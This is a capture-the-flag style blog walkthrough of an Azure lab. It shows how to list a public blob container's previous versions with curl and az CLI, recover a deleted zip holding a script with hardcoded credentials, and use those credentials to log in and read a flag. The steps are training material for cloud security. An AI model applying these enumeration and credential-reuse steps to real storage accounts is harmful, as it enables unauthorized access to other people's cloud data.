Note : This article was inspired by content from Pwned Labs. Special thanks to Pwned Labs for providing insightful resources and awesome learning experience for learners.

WalkThrough

Started a new Azure red team lab series on @Pwnedlabs and it has been fun so far. Thanks to my very good friend, Ayush, who introduced me to this platform.

As the blog header says, we can go ahead and start this lab in which we are given a URL, Navigating to the URL, we can see that this is truly hosted on the Azure cloud service.

Platform as a service (PaaS) is a complete development and deployment environment in the cloud, with resources that enable you to deliver everything from simple cloud-based apps to sophisticated, cloud-enabled enterprise applications.

Viewing source code we can see that we have a blob URL, This allows for:

  • The storage and management of data, such as documents, images, videos, and backups.
  • The Blob storage service is highly available and can be a cost-effective option.

Azure Blob Storage is Microsoft’s cloud service for storing large amounts of unstructured data, such as text or binary files, that don’t fit into a specific data model. “Blob” stands for “binary large object.”

It is possible to verify if this endpoint is up by making the following requests, Note that you have to replace /static with /index.html :

Invoke-WebRequest -Uri 'https://mbtwebsite.blob.core.windows.net/$web/index.html' -Method Head

StatusCode        : 200
StatusDescription : OK
Content           : 
RawContent        : HTTP/1.1 200 OK
                    ETag: 0x8DBD1A84E6455C0
                    Server: Windows-Azure-Blob/1.0
                    Server: Microsoft-HTTPAPI/2.0
                    x-ms-request-id: 679bb941-301e-0015-523b-105b8c000000
                    x-ms-version: 2009-09-19
                    x-ms-lease-status: u
Headers           : {[ETag, System.String[]], [Server, System.String[]], [x-ms-request-id, System.String[]], [x-ms-version, System.String[]]}
Images            : {}
InputFields       : {}
Links             : {}
RawContentLength  : 0
RelationLink      : {}
❯ curl -I https://mbtwebsite.blob.core.windows.net/$web/index.html
HTTP/1.1 400 One of the request inputs is out of range.
Transfer-Encoding: chunked
Server: Blob Service Version 1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id: 87b5de6d-b01e-009d-3243-10be85000000
Date: Thu, 26 Sep 2024 18:41:58 GMT

# Note : It is worth using 'powershell' or 'pwsh' in 'kali'

We can go ahead and expand the Headers property as this should give us a clear view of this endpoint. You can also do this for the RawContent property.

PS sec-fortress@Pwn-F0rk-3X3C /home/sec-fortress> Invoke-WebRequest -Uri 'https://mbtwebsite.blob.core.windows.net/$web/index.html' -Method Head | Select-Object -ExpandProperty Headers

Key               Value
---               -----
ETag              {0x8DBD1A84E6455C0}
Server            {Windows-Azure-Blob/1.0, Microsoft-HTTPAPI/2.0}
x-ms-request-id   {9d1c2618-e01e-00bf-2042-107b9a000000}
x-ms-version      {2009-09-19}
x-ms-lease-status {unlocked}
x-ms-blob-type    {BlockBlob}
Date              {Thu, 26 Sep 2024 18:31:40 GMT}
Content-Length    {782359}
Content-Type      {text/html}
Content-MD5       {JSe+sM+pXGAEFInxDgv4CA==}
Last-Modified     {Fri, 20 Oct 2023 20:08:20 GMT}

We can also look into each components of this blob URL at https://mbtwebsite.blob.core.windows.net/$web/index.html

https: The protocol used. Azure Blob Service supports both http and https


mbtwebsite: The name of the Azure Storage Account associated with the website.


blob.core.windows.net: The Azure Blob Storage Service


$web: The name of the container hosting the website, and it is situated within the storage account. (Fuzzable with ffuf)


index.html: The web page being requested

Note that the container is always bruteforce-able as shown in this blog using tools like ffuf and MicroBurst

We can then go ahead and look for sensitive public information on the container /$web with the default blob parameter ?restype=container&comp=list by sending a HTTP requests to the Azure Storage REST API.

As shown above there is alot of data and this can be terrible to read, we can set a delimiter to read only directories : ?restype=container&comp=list&delimiter=%2F

We can also automate all this process by using Azure-CLI and other methods as specified in both of this blogs ; Blog1, Blog2.

❯ az storage blob list --account-name mbtwebsite --container-name '$web' --output table

However as shown in the above output there isn’t any sensitive file found yet, we can go ahead and dig deeper by checking if versioning has been enabled for the container, and if we see any previous versions of files.

/?restype=container&comp=list&include=versions

“Blob versioning is a useful feature as it allows point-in-time recovery of individual blobs. A file may no longer exist, but a version of the file will still be stored. Sometimes files are temporarily uploaded for transfer, or maybe deleted after they are found to contain sensitive data…” – PwnedLabs

However as shown above trying to list previous versions using a browser isn’t successful, searching for this error on google i came across a solution from stackoverflow by using the Az-CLI method or curl with the x-ms-version header.

❯ az rest --method get --url 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions' --headers "x-ms-version=2019-10-10" | xmlstarlet fo

curl -H "x-ms-version: 2019-10-10" 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions' | xmlstarlet fo

Using Azure-CLI :

Using curl :

Reason : The versions parameter is only supported by version 2019-12-12 and later so it must be specified in our request.

As we can see we got an extra scripts-transfer.zip file using this method, we can go ahead and download this using curl. Don’t forget to include the versionId parameter and the x-ms-version header in your request :

❯ curl -H "x-ms-version: 2019-12-12" 'https://mbtwebsite.blob.core.windows.net/$web/scripts-transfer.zip?versionId=2024-03-29T20:55:40.8265593Z' --output scripts-transfer.zip

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1503  100  1503    0     0    111      0  0:00:13  0:00:13 --:--:--   354

Then go ahead an unzip the files to a directory :

❯ mkdir scripts

❯ unzip scripts-transfer.zip -d scripts
Archive:  scripts-transfer.zip
  inflating: scripts/entra_users.ps1  
  inflating: scripts/stale_computer_accounts.ps1  

Checking the first powershell script we have credentials for the user marcus

 \cat entra_users.ps1
# Install the required modules if not already installed
# Install-Module -Name Az -Force -Scope CurrentUser
# Install-Module -Name MSAL.PS -Force -Scope CurrentUser

# Import the required modules
Import-Module Az
Import-Module MSAL.PS

# Define your Azure AD credentials
$Username = "[email protected]"
$Password = "[REDACTED]" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential ($Username, $Password)

# Authenticate to Azure AD using the specified credentials
Connect-AzAccount -Credential $Credential

# Define the Microsoft Graph API URL
$GraphApiUrl = "https://graph.microsoft.com/v1.0/users?$select=displayName,userPrincipalName"

# Retrieve the access token for Microsoft Graph
$AccessToken = (Get-AzAccessToken -ResourceType MSGraph).Token

# Create a headers hashtable with the access token
$headers = @{
    "Authorization" = "Bearer $AccessToken"
    "ContentType"   = "application/json"
}

# Retrieve User Information and Last Sign-In Time using Microsoft Graph via PowerShell
$response = Invoke-RestMethod -Uri $GraphApiUrl -Method Get -Headers $headers

# Output the response (formatted as JSON)
$response | ConvertTo-Json

Go ahead and type the following command to initiate the authentication process to log into the Azure account we just discovered with your username and password.

❯ az login

For authentication context we can confirm that we truly have the Azure Account Details of our compromised user :

❯ az account show
{
  "environmentName": "AzureCloud",
  "homeTenantId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "id": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
  "isDefault": true,
  "managedByTenants": [],
  "name": "Microsoft Azure Sponsorship",
  "state": "Enabled",
  "tenantDefaultDomain": "megabigtech.com",
  "tenantDisplayName": "Default Directory",
  "tenantId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "user": {
    "name": "[email protected]",
    "type": "user"
  }
}

You can then navigate to https://portal.azure.com/, to login to the web-based dashboard that manages all of the Azure resources.

Go ahead and open up the Azure cloud shell with the console icon by the top right

Once this is done you should have a cloud console like the below

Using this cheatsheet for list of commands i was able to come up with the below command to list the properties of our current user.

PS /home/marcus> Connect-AzureAD                                                             
PS /home/marcus> Get-AzureADUser -ObjectId marcus@megabigtech.com | Select-Object -Property *

--SNIP--
ObjectId                       : 41c178d3-c246-4c00-98f0-8113bd631676
ObjectType                     : User
AccountEnabled                 : True
AgeGroup                       : 
AssignedLicenses               : {}
AssignedPlans                  : {}
City                           : 
CompanyName                    : 
ConsentProvidedForMinor        : 
Country                        : 
CreationType                   : 
Department                     : 
DirSyncEnabled                 : 
DisplayName                    : Marcus Hutch
FacsimileTelephoneNumber       : 
GivenName                      : Marcus
IsCompromised                  : 
ImmutableId                    : 
JobTitle                       : Flag: [REDACTED]
LastDirSyncTime                : 
LegalAgeGroupClassification    : 
Mail                           : 
MailNickName                   : marcus
Mobile                         : 
OnPremisesSecurityIdentifier   : 
OtherMails                     : {}
PasswordPolicies               : 
PasswordProfile                : 
PhysicalDeliveryOfficeName     : 
PostalCode                     : 
PreferredLanguage              : 
ProvisionedPlans               : {}
ProvisioningErrors             : {}
ProxyAddresses                 : {}
RefreshTokensValidFromDateTime : 9/26/2024 9:04:50 PM
ShowInAddressList              : 
SignInNames                    : {}
SipProxyAddress                : 
State                          : 
StreetAddress                  : 
Surname                        : Hutch
TelephoneNumber                : 
UsageLocation                  : 
UserPrincipalName              : marcus@megabigtech.com
UserState                      : 
UserStateChangedOn             : 
UserType                       : Member

PS /home/marcus> 

That would be all for today ( -_•)︻デ═一

References & Mitigations